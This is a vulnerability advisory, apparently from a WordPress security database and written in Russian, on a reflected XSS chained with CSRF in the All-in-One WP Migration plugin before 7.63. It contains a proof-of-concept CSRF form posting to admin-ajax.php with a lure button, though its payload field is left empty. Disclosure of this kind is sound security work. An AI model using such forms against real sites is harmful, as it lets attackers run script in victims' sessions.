
All-in-One WP Migration < 7.63 - Неаутентифицированная отражённая XSS + CSRF
Плагин использует неправильный тип контента и не выполняет надлежащее экранирование ответа от действия ai1wm_export, что позволяет атакующему сформировать запрос, который при отправке любым посетителем внедрит произвольный HTML или JavaScript в ответ и выполнит его в сессии жертвы.
Чтобы воспроизвести уязвимость, мы можем экспортировать весь контент сайта с помощью плагина и указать недопустимое имя в имени выходного файла.
Подтвердив уязвимость, можно скомбинировать атаку с CSRF, что заставит браузер жертвы отправить запрос с полезной нагрузкой.
<form action="https://example.com/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1" method="POST">
<!--
Note: The secret key must be obtained through other means.
It is stored in the site option `ai1wm_secret_key`, but is
static for the lifetime of the site.
-->
<input type="hidden" name="secret_key" value="[secret_key]">
<input type="hidden" name="ai1wm_manual_export" value="1">
<input type="hidden" name="archive" value="">
<input type="submit" value="Get rich!">
</form>
All-in-One WP Migration < 7.63
Тип: Cross-Site Scripting
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 Некорректная нейтрализация входных данных при генерации веб-страницы ('Cross-site Scripting')
Geovanni Campos (GeoZIN), Thiago Martins (Kirito), Jorge Buzeti (R3tr0), Leandro Inacio (Saitama), Lucas de Souza (Sinnat), Matheus Oliveira (Froyd), Filipe Baptistella (Baptistella), Leonardo Paiva (Megatron), Jose Thomaz (Pip3r), Joao Maciel (Yohan), Vinicius Pereira (Vini), , Hudson Nowak (Nowak) и Guilherme Acerbi (Ghost).